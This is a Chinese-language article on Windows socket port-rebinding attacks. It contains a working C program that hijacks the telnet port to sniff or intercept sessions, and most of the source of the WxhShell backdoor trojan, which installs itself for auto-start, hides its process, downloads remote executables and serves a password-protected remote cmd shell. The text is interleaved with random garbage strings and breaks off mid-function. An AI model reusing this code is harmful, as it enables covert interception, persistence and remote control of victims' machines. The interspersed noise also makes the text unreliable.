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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B%Yb+M&K s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V,uhBMT# |7zm!^t$ saddr.sin_family = AF_INET; ]sjOn?YA+ 2="C6
7TK saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'FBvAk6 J<_&f_K0] bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LwUvM (D8'qx-M 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &-+&`h|s |k'I?:' 这意味着什么?意味着可以进行如下的攻击: {kJ[) 7 XEZ6%Q_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
e?G*q)l H[x 9 7r 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ji(S ?^ 4(JxZ49 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t:M({|m Y r _r$nl 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 n X
Qz @fpxGMy& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YKh%`Y1< O)5-6lm 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !00%z ,XP9NHE 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i=2+1;K #U/B,`= > #include [uRsB5 #include RpLm'~N' #include q@(N 38D #include W,agPG\+ DWORD WINAPI ClientThread(LPVOID lpParam); j7-#">YL int main() ]-.Q9cjc$q { %
wRJ"T`Tt WORD wVersionRequested; .: 7h=neEW DWORD ret; 7*XG]=z/ WSADATA wsaData; 3F}d,aB
A BOOL val; F{T|lTl SOCKADDR_IN saddr; 9/s-|jD SOCKADDR_IN scaddr; 8}\"LXRbo int err; &P ;6P4x SOCKET s; ur#"f'|- SOCKET sc; GW
$iK@ int caddsize; <{-DYRiN HANDLE mt; 6!Isz1.re DWORD tid; N7#GK]n%/} wVersionRequested = MAKEWORD( 2, 2 ); gdC=SFb b err = WSAStartup( wVersionRequested, &wsaData ); )QZ?Bf if ( err != 0 ) { "Ln\ZYB] printf("error!WSAStartup failed!\n"); C1G Wi4) return -1; SwP h-6 } b'-gy0 saddr.sin_family = AF_INET; 9J]LV'f7 G>_ZUHdI //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &P{%C5?{ */8\Z46z saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {{DW P-v4 saddr.sin_port = htons(23); oW+R:2I~O if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FySK& { 98 O z printf("error!socket failed!\n"); U3U eTa_ return -1; Bv=Z*"Fv } rfPJBD{Ve val = TRUE; *p WswcV/ //SO_REUSEADDR选项就是可以实现端口重绑定的 !E7/:t4 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ta[}k/zW { @/7Rp8Fr printf("error!setsockopt failed!\n"); "{0kg'fU return -1; 3S5QqAm } /r?X33D! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E{Q^ZSV3B //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ZK'I$p]b //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 03#_ ( yz+r@I5 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?)PcYrV { uw<Ruy ret=GetLastError(); /n_HUY printf("error!bind failed!\n"); Kc{wv/6}T return -1; [}AcCXg`L } 3?}SXmA'@ listen(s,2); |F=^Cu, while(1) 0CN.gu { W4| ;JmT.r caddsize = sizeof(scaddr); QWP_8$Q //接受连接请求 &`%C'KZ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
:D/R if(sc!=INVALID_SOCKET) #e0+;kBh { jf2E{48P mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3~S~)quwP if(mt==NULL) O0I/^ { ,#m\W8j printf("Thread Creat Failed!\n"); x-W0 h break; C'$U1%:
j } CRf^6k_;( } Cv=0&S. CloseHandle(mt); lubS{3< } 7)]G"m{ closesocket(s); A6Qi^TI WSACleanup(); 4@Qq5kpk* return 0; $H9xM } }Ag2c; aaq DWORD WINAPI ClientThread(LPVOID lpParam) lwB!ti { s-DtkO
SOCKET ss = (SOCKET)lpParam; l;C_A;y\ SOCKET sc; &S{F"z unsigned char buf[4096]; oc?VAF SOCKADDR_IN saddr; &KB{,:)? long num; U9q*zP_jV DWORD val; c*W$wr DWORD ret; 5u8Sxfm", //如果是隐藏端口应用的话,可以在此处加一些判断 }qg!Um0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Tld{b saddr.sin_family = AF_INET; > w'6ZDA*X saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n#R!`*[ saddr.sin_port = htons(23); Ea
!j-Lb o if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) St3~Y{aI| { G@;aqe[dB printf("error!socket failed!\n"); p[$I{F*a return -1; Z~R i%XG } O//e0?]W val = 100; #-`lLI:w0 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WZr~Pb9 { KXGs'D ret = GetLastError(); c2U>89LlZ return -1; ZAP+jX; }
1Li@O[%X< if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v$c D!`+k { ;Cy@TzO/| ret = GetLastError(); 3m^BYr*y^ return -1; 'ZDclz9} } Gg+>_b{S5T if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) tEUmED0FY { VuY.})+J: printf("error!socket connect failed!\n"); kmS8>O closesocket(sc); )eFK@goGeb closesocket(ss); eOb`uyi return -1; F~Li.qF } We ->d |= while(1) oK>,MdB { t&xx-4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C/bttd //如果是嗅探内容的话,可以再此处进行内容分析和记录 P8jK
yo //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YJy*OS_& num = recv(ss,buf,4096,0); zxh"@j$? if(num>0) \x!>5Z
Y send(sc,buf,num,0); LWI~m2 else if(num==0) @FTi*$Ix break; cNVdGY%& num = recv(sc,buf,4096,0); "Wm~\)t( if(num>0) DHAWUS6 send(ss,buf,num,0); ~JXHBX else if(num==0) %Z7!9+< break; g{%'; } UyQn onS closesocket(ss); o;[oy#aWl_ closesocket(sc); &0g,Xkr return 0 ; g|P hNo } "jHN#} CytpL`&^] pR"qPSv' ========================================================== -db+Y:xUZ z)%1 i 下边附上一个代码,,WXhSHELL lK4+8VZ 4(R2V] ========================================================== fo.m&mKgo _a&|,ajy> #include "stdafx.h" Q-F9oZ*0 oo!g?X[[ #include <stdio.h> qo@dFKy #include <string.h> /Uc*7Y5j #include <windows.h> |$PLZ, #include <winsock2.h> ng*%1;P #include <winsvc.h> =r~.I #include <urlmon.h> z m'jk D| {#,FlR2 #pragma comment (lib, "Ws2_32.lib") ju#63 #pragma comment (lib, "urlmon.lib") RVfe}4Stm# `y`xk<q #define MAX_USER 100 // 最大客户端连接数 L?0l1P #define BUF_SOCK 200 // sock buffer F(<8:`N;G #define KEY_BUFF 255 // 输入 buffer />C~a]} +!vRU` #define REBOOT 0 // 重启 M2}<gRL*}J #define SHUTDOWN 1 // 关机 ZhsZywM "b
0cj #define DEF_PORT 5000 // 监听端口 h6*`V U3}R^W~eb #define REG_LEN 16 // 注册表键长度 _
^{Ep/ME= #define SVC_LEN 80 // NT服务名长度 f[b YjIX T Rw6$CR // 从dll定义API 6<Z:Xw typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [fp"MPP3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); blcKtrYg typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vgj^ - typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9#<Og>t2y 5-^%\?,x // wxhshell配置信息 8-:k@W struct WSCFG { zc+;VtP|8 int ws_port; // 监听端口 >A&@W p1 char ws_passstr[REG_LEN]; // 口令 F-^HN% int ws_autoins; // 安装标记, 1=yes 0=no `VtwKt* char ws_regname[REG_LEN]; // 注册表键名 <+gl"lG char ws_svcname[REG_LEN]; // 服务名 ` a>vPW char ws_svcdisp[SVC_LEN]; // 服务显示名 v=tj.Vg char ws_svcdesc[SVC_LEN]; // 服务描述信息 ozC!q)j char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M N#C2 qz int ws_downexe; // 下载执行标记, 1=yes 0=no Db(_T8sU char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" %v[Kk-d char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1v&Fo2ML ?Z>.G{Wm@ }; vC:b?0s #( AiZFvn[n8 // default Wxhshell configuration A+I&.\QAR struct WSCFG wscfg={DEF_PORT, J\3} il
N "xuhuanlingzhe", #[y<h3f] 1, N}fUBX4k "Wxhshell", N-`;\ "Wxhshell", hXm}d\ "WxhShell Service", ,dx)rZ* "Wrsky Windows CmdShell Service", JtpY][}"~3 "Please Input Your Password: ", L\NZDkd 1, /w M " http://www.wrsky.com/wxhshell.exe", ~lqGnNhh7 "Wxhshell.exe" U@MP&sdL }; k-V I9H!, jJ!-hg4?] // 消息定义模块 ).C! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Wk\@n+Q{] char *msg_ws_prompt="\n\r? for help\n\r#>"; ^Pd37&B4V char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; T[-c| char *msg_ws_ext="\n\rExit."; ]M;6o@hq char *msg_ws_end="\n\rQuit."; q9Sz7_K char *msg_ws_boot="\n\rReboot..."; -Zg @D(pF char *msg_ws_poff="\n\rShutdown..."; Reu{
char *msg_ws_down="\n\rSave to "; *Ca)RgM JA(fam~{ char *msg_ws_err="\n\rErr!"; RX5.bVp
eE char *msg_ws_ok="\n\rOK!"; kLt9;<L ;#s}b1 char ExeFile[MAX_PATH]; liqR#< int nUser = 0;
iN_D8dI HANDLE handles[MAX_USER]; =5~F6to int OsIsNt; <m,yFk K;p<f{PE SERVICE_STATUS serviceStatus; BD7@Mj*| SERVICE_STATUS_HANDLE hServiceStatusHandle; mO)PJd2ZD t*d >eK`:N // 函数声明 GrR0RwnH)? int Install(void); tx5T^K7[ int Uninstall(void); oNB,.: int DownloadFile(char *sURL, SOCKET wsh); x
XM!E
8 int Boot(int flag); e j%;%`C- void HideProc(void); ^Wfgwmh int GetOsVer(void); IT`=\K/[4 int Wxhshell(SOCKET wsl); kt{C7qpD void TalkWithClient(void *cs); ZQ~myqx,+L int CmdShell(SOCKET sock); Z.':&7Y int StartFromService(void); ,LW+7yD int StartWxhshell(LPSTR lpCmdLine); c~UAr k S $i:||L^8p VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u'i%~(:$\) VOID WINAPI NTServiceHandler( DWORD fdwControl ); LkGf|yd_ s!ZW'`4!z // 数据结构和表定义 z8/xGQn SERVICE_TABLE_ENTRY DispatchTable[] = wB>S\~i { <*"pra{3 {wscfg.ws_svcname, NTServiceMain}, OR\DTLIl {NULL, NULL} pEVgJ/> }; #[a"%byTR ) wY!/& // 自我安装 g&+Y{*Gp int Install(void) qC1U&b#MVx { H5rPq_R char svExeFile[MAX_PATH]; P:(EU s}0 HKEY key; .L7Yf+yFg strcpy(svExeFile,ExeFile); /^LH *)bd1B# // 如果是win9x系统,修改注册表设为自启动 B9e.-Xaf if(!OsIsNt) { |Vwc/9`t]> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !ml_S) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5U{4TeUH RegCloseKey(key); |vfujzRZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tyuk{*Me: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W&e'3gk _ RegCloseKey(key); "65||[=8 return 0; *:9 >W$0u } H5Ux.]y } .vN%UNu } 2K]IlsMO& else { Y:%m;b$] (@ fa~?v>@ // 如果是NT以上系统,安装为系统服务 @1v3-n= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kz0I2!bt if (schSCManager!=0) i)7n c { ]Y4q'KH SC_HANDLE schService = CreateService >X[|c"l. ( p9AZ9xr schSCManager, X_u@D;$ wscfg.ws_svcname, ;h9-}F wscfg.ws_svcdisp, r+{d!CHq} SERVICE_ALL_ACCESS, 4L=$K2R2r SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Dc.n-ipv$ SERVICE_AUTO_START, M!Z*QY."P SERVICE_ERROR_NORMAL, hIVI\U, svExeFile, 3cOY0Z#T NULL, jVad)2D NULL, *%X6F~h(u NULL, vZb|!#I NULL, Cs:+93w NULL ^n&]HzT`y ); s>jr1~~3O_ if (schService!=0) X-kXg)!Bg { ]6{(Hjt CloseServiceHandle(schService); _BG8/"h32 CloseServiceHandle(schSCManager); &so-O90 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7~wFU*P1 strcat(svExeFile,wscfg.ws_svcname); 5zNSEI"PY if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5^i.;>(b RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s,
n^ RegCloseKey(key); EkJVFHfh return 0; nW|'l^& } |} K } E?Zb~xk CloseServiceHandle(schSCManager); +65oC x
} t_dcV%= } 0 kf(g156 7_9+=.
+X5 return 1; Hp btj } C-llq`(d 7hB#x]oQo // 自我卸载 59{;VY81 int Uninstall(void) >u=%Lz"J {
h6u2j p(+ HKEY key; `"a? a5]k ;asm 0H( if(!OsIsNt) { ^Xs%.`Gv/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6xH;:B)d RegDeleteValue(key,wscfg.ws_regname); X=v~^8M7% RegCloseKey(key); &Nc[$H7< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wgY6D!Y RegDeleteValue(key,wscfg.ws_regname); 9p<:=T RegCloseKey(key); [34zh="o return 0; 1ZT^)/ G } Wrmgu}q } "\}b!gl$8 } {7vgHutp else { [6AHaOhR' Ri|k<io SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M_k`%o if (schSCManager!=0) 8
AFMn[{ { JC=dYP} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); di7A/B if (schService!=0) b-PSm=` { j!YNg*H if(DeleteService(schService)!=0) { O!;H}{[dg CloseServiceHandle(schService); r0>q%eM8 CloseServiceHandle(schSCManager); N83!C=X' return 0; l+%Fl=Q2em } 4~!Eje! CloseServiceHandle(schService); LU%#mY } c$9sF@K? CloseServiceHandle(schSCManager); tcZa~3. } &=G)NeT_ } H#OYw#L"u jDR')ascn return 1; FJ{=2]x| } jz*0`9&_ (~h7rAEc // 从指定url下载文件 k@S)j< int DownloadFile(char *sURL, SOCKET wsh) )X/*($SuA { vX ?aB!nkw HRESULT hr; \.o=icOx char seps[]= "/"; G\R*#4cF char *token; T/ik/lFI char *file; KYp[Gs char myURL[MAX_PATH]; iQqqs`K char myFILE[MAX_PATH]; tww=~! $]C=qM28- strcpy(myURL,sURL); ]D O&x+Rb token=strtok(myURL,seps); e,(a6X while(token!=NULL) t<Ot|Ex { xk& NAB file=token; ML=eL*}l token=strtok(NULL,seps); zX98c } `?l3Ct* 6D|p Qs GetCurrentDirectory(MAX_PATH,myFILE); /hL\,x2 strcat(myFILE, "\\"); g0PT8]8 strcat(myFILE, file); Xx_tpC? send(wsh,myFILE,strlen(myFILE),0); \wYc1M@7V send(wsh,"...",3,0); qe<Hfp/p hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "Ht'{ & if(hr==S_OK) XIKvH-0& return 0; 5$kdgFq( else J96uyS* return 1; :_v!#H) @OzMiN } &:<, c12 1RLym9JN // 系统电源模块 `{[RjM` int Boot(int flag) UbO4%YHt { 5Tedo~v HANDLE hToken; dN< ,%}R TOKEN_PRIVILEGES tkp; eeM?]J- 8] `Ru5nd if(OsIsNt) { / 2xSNalC OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kO1}?dWpa LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Us]=Y}( tkp.PrivilegeCount = 1; eNbpwne tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2VA!&`I AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [KSH~:h:NR if(flag==REBOOT) { )qv2)a!H if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,beS0U] return 0; QOH<]~3J } Ke!'gohv else { X3',vey if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dxK9:IX return 0; k=$AhT=e}n } H]&gW/= } Or8kp/d else { E$A3|rjnoN if(flag==REBOOT) { ~Wei|,w'< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /`3#4=5- return 0; gv|"OlB } r{_ >ldjq else { E8ta|D if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nn+_TMu return 0; u#@RM^738d } 2z\e\I } MG{l~|\x) I-DXb
M return 1; t0Mx!p'T } eVJ^\z:4 yz8jU*H // win9x进程隐藏模块 $,ikv?"L void HideProc(void) O6X"RsI} { Ch19h8M 1& ^?U{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +.kfU)6@ if ( hKernel != NULL ) U>a\j2I { Jxa4hM0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Yf}xwpuLk ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g<wRN#B FreeLibrary(hKernel); n<7u>;SJQ } nS9wb1Zl _MuZ4tc return; 02=ls V!U } r@kP* |ZiC`Nt // 获取操作系统版本 %S \8. int GetOsVer(void) x`%JI=q { S\=1_LDx" OSVERSIONINFO winfo; -1u9t4+` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .4-,_`T? GetVersionEx(&winfo); >/=> B7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]rN#B-aAr return 1; =5x&8i else Lja 7 return 0; %JyXbv3m, } {<=#*qx[Y! />44]A< // 客户端句柄模块 ,|h)bg7. int Wxhshell(SOCKET wsl) 2VGg 6% { 69G`2_eKCp SOCKET wsh; Ba'LRz struct sockaddr_in client; Bd~1P/ DWORD myID; T.mmmT k[kju%i4 while(nUser<MAX_USER) ._PzYE|m2 { ~}"]&%Q{J int nSize=sizeof(client); ?LK 2g wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [yS#O\$'e if(wsh==INVALID_SOCKET) return 1; /.z;\=;[n! i'#Gy,R handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4 %W: if(handles[nUser]==0) )]htm&q5 closesocket(wsh); j)C:$ else XYrJ/!*. nUser++; )"+2Z^1- } $?P22"/p WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jE\Sm2G9 om h{0jA0 return 0; 7U|mu~$.! } n$n7-7 Y>+y(ck // 关闭 socket N!2Rl void CloseIt(SOCKET wsh) U#&7p)4( { Ch \&GzQ closesocket(wsh); m3<+yz$!r nUser--; oXXC@[??}N ExitThread(0); L+}n@B } Iw<i@=V tptN6Isuh // 客户端请求句柄 OTDg5:> void TalkWithClient(void *cs) H1n1-!%d { NMOut@ jPZaD>! SOCKET wsh=(SOCKET)cs; 67SV~L#%O char pwd[SVC_LEN]; 26vp1 char cmd[KEY_BUFF]; {gbn/{ char chr[1]; L;Z0`mdz int i,j; :Bu2,EL*O L|@y&di while (nUser < MAX_USER) { qqrq11W 0&_UH}10 if(wscfg.ws_passstr) { Vv1|51B if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?L&|Uw+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $-}e; V Zb //ZeroMemory(pwd,KEY_BUFF); *^%Q0mU[ i=0; I/gjenUK while(i<SVC_LEN) {
-!W<DJ* 9}a_:hAy/ // 设置超时 3I\n_V< fd_set FdRead; 3"n\8#X{ struct timeval TimeOut; ,L bBpi=TJ FD_ZERO(&FdRead); +l3=3 FD_SET(wsh,&FdRead); 0sca4G0{ TimeOut.tv_sec=8; Bw%Qbs0Q TimeOut.tv_usec=0; +5VLw int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &e-U5'(6v_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ABE@n%|` @Z>ZiU,^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D(-yjY8aG pwd =chr[0]; 4SPy28<f if(chr[0]==0xd || chr[0]==0xa) { l7# yZ*<v pwd=0; 6`vC1PK^ break; M" ^PW,k } ./Q, i++; W@|6nPm } +)o}c"P!
`\Hf]b // 如果是非法用户,关闭 socket A+hT3;lp if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (jU6GJRP } ;q N+^;,2 *HEuorl send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >D201&*G% send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L|bwZ,M=}? q[`j`8YY!R while(1) { b&1`NO y6]vl=^L ZeroMemory(cmd,KEY_BUFF); z~`b\A,$ b#7{{@H // 自动支持客户端 telnet标准 S26MDLk`R3 j=0; ~/.7l8) while(j<KEY_BUFF) { ]Oq[gBL"A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .9Y)AtJTS cmd[j]=chr[0]; ~3uP6\F if(chr[0]==0xa || chr[0]==0xd) { V< k8N^ cmd[j]=0; C8z{XSo break; da)NK! } -B86U6^s j++; ^%O]P`$ } xhcK~5C vWGwVH/K // 下载文件 r@ZJ{4\Q if(strstr(cmd,"http://")) { u\eEh*<7q send(wsh,msg_ws_down,strlen(msg_ws_down),0); e=O,B8)_ if(DownloadFile(cmd,wsh)) */|BpakD< send(wsh,msg_ws_err,strlen(msg_ws_err),0); jH_JmYd else BcI|:qv| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zOQ>d|p?X } B^g ?=|{ else { &x3VCsC\| w^t/9Nasi switch(cmd[0]) { :9k Ty: fW?o@vlO // 帮助 N<~ku<nAU case '?': { uu`G 2[t send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S~|T4q( break; @')[FEdW } 9-MUX^?u // 安装 >,td(= : case 'i': { hdrm!aBd if(Install()) hP15qKy send(wsh,msg_ws_err,strlen(msg_ws_err),0); W*2U="t else |P%Jw,}]9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }sxYxn~ break; 6i}iAP|0 } s_mS^`P7 // 卸载 yj\Nkh case 'r': { c"[cNZo if(Uninstall()) :Y [LN send(wsh,msg_ws_err,strlen(msg_ws_err),0); <i,U )Tt^C else )==Jfn y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Oy$gW) break; )rC6*eR } '*3h!lW1. // 显示 wxhshell 所在路径 [sW3l:^ case 'p': { |j7,Mu+ char svExeFile[MAX_PATH]; /FRm2m83 strcpy(svExeFile,"\n\r"); T:; 2 strcat(svExeFile,ExeFile); ,N)/w1?I send(wsh,svExeFile,strlen(svExeFile),0); &G-!qxe break; .X;3,D[w } /{&tY:;m // 重启 bD?VU<)3 case 'b': { ml+; Rmvb send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %
yw?s0 if(Boot(REBOOT)) a24"yT send(wsh,msg_ws_err,strlen(msg_ws_err),0); o7$'cn else { \ZkA>oO". closesocket(wsh); ;XBI{CW ExitThread(0); 3xaR@xjS } cH&J{WeZa break; -[wGX}} } aJ>65RJ^= // 关机 lz?$f4TzA case 'd': { \RG8{G, send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xsD($_ if(Boot(SHUTDOWN)) <P=twT;P send(wsh,msg_ws_err,strlen(msg_ws_err),0); qHrc9fB else { R21b!Pd\ closesocket(wsh); Kkm>e{0)AY ExitThread(0); ++^l]8 } B&n<M]7 break; c_4[e5z } ^y<<>Y'I // 获取shell xjKR R? case 's': { GU( _ CmdShell(wsh); ;;#qmGoE closesocket(wsh); )% ~OH ExitThread(0); a m|F?|1 break; 73/P&hT } *Qg _F6y // 退出 >LOjV0K/
case 'x': { f}9zgWU send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A\HxDIU CloseIt(wsh); `ojoOB^L break; u=`L) } \nPEyw,U // 离开 ~Vr.J}]J case 'q': { )p<ExMIxd send(wsh,msg_ws_end,strlen(msg_ws_end),0); sT}.v* closesocket(wsh); rustMs2p WSACleanup(); Z$/xy" exit(1); o!kbK#k break; ~f$|HP} } =A83W/4 } pHLB = r } hEKf6# Z{]0jhUyNh // 提示信息 YQj 2 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @$[?z9ck" } NQJq6S4@ } [OC5l> E2R&[Q"% return; 6ZP(E^. } MygfT[_ jIC_[ // shell模块句柄 %C|n9* int CmdShell(SOCKET sock) '"SEw
w { l`#4KCL( STARTUPINFO si; pKpUXfQu ZeroMemory(&si,sizeof(si)); X-K=!pET si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;:\<gVi: si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
<G|(|E1 PROCESS_INFORMATION ProcessInfo; fF7bBE)L/| char cmdline[]="cmd"; `d5%.N CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rwz0poG`WG return 0; *U&0<{|T } :~Wrf8UQ L^@'q6*} // 自身启动模式 oX30VfT int StartFromService(void) ~*z% e*EL { RtTJ5@V( typedef struct |$8~?7Jv { c;Pe/ d DWORD ExitStatus; 7z JRJ*NB DWORD PebBaseAddress; }$SavB#SBP DWORD AffinityMask; k_
& :24Lj DWORD BasePriority; mr*JJF0Z ULONG UniqueProcessId; ON=@O ULONG InheritedFromUniqueProcessId; (^TF%(H } PROCESS_BASIC_INFORMATION; 5:Z0Pt ;z}i-cNae PROCNTQSIP NtQueryInformationProcess; hI]Hp3S B-ngn{Yc static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .HS"}A T static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BJ$9vbhZN {< )1q ; HANDLE hProcess; >3_jWFq PROCESS_BASIC_INFORMATION pbi; }X)&zenz ,':fu HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
